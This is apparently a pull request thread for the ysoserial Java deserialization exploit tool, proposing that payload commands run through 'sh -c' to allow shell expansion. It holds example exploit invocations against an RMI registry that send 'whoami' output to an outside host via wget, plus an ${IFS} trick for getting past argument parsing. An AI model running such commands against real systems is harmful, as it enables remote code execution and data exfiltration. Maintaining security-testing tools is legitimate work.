change Runtime exec(String) to exec(String[])

[retanoj]

Java Runtime.getRuntime().exec(String cmd) is not a shell environment. It could not use cmd like "echo $(whoami)" which $(whoami) would be executed.
Runtime.getRuntime().exec("echo $(whoami)");
will print out : $(whoami)
but not : root

But we could make the String cmd in a shell environment like this
String[] cmd_arr = {"sh", "-c", "echo $(whoami)"};
Runtime.getRuntime().exec(String[] cmd_arr);
will print out : root

Or we could make StringTokenizer work appropriately that Runtime.getRuntime().exec use it to parse String cmd. A little ugly cmd like this
Runtime.getRuntime().exec("bash -c echo${IFS}$(whoami)");
will print out: root

So I change execArgs and exec parameters to make String command into a shell environment. After doing this, user could use
java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections6 'wget selfhost.com/?$(whoami)'
instead of
java -cp ysoserial-0.0.4-all.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections6 'bash -c wget${IFS}selfhost.com/?$(whoami)'

[retanoj]

Sorry for not considering Windows.
Maybe we could add a param like -win to switch exec() use String[]{"sh", "-c", xx} or String[]{"cmd.exe", "/c", xx}

[frohoff]

Closing this but opened #71 in it's place.

[hktalent]

@retanoj @frohoff
see #117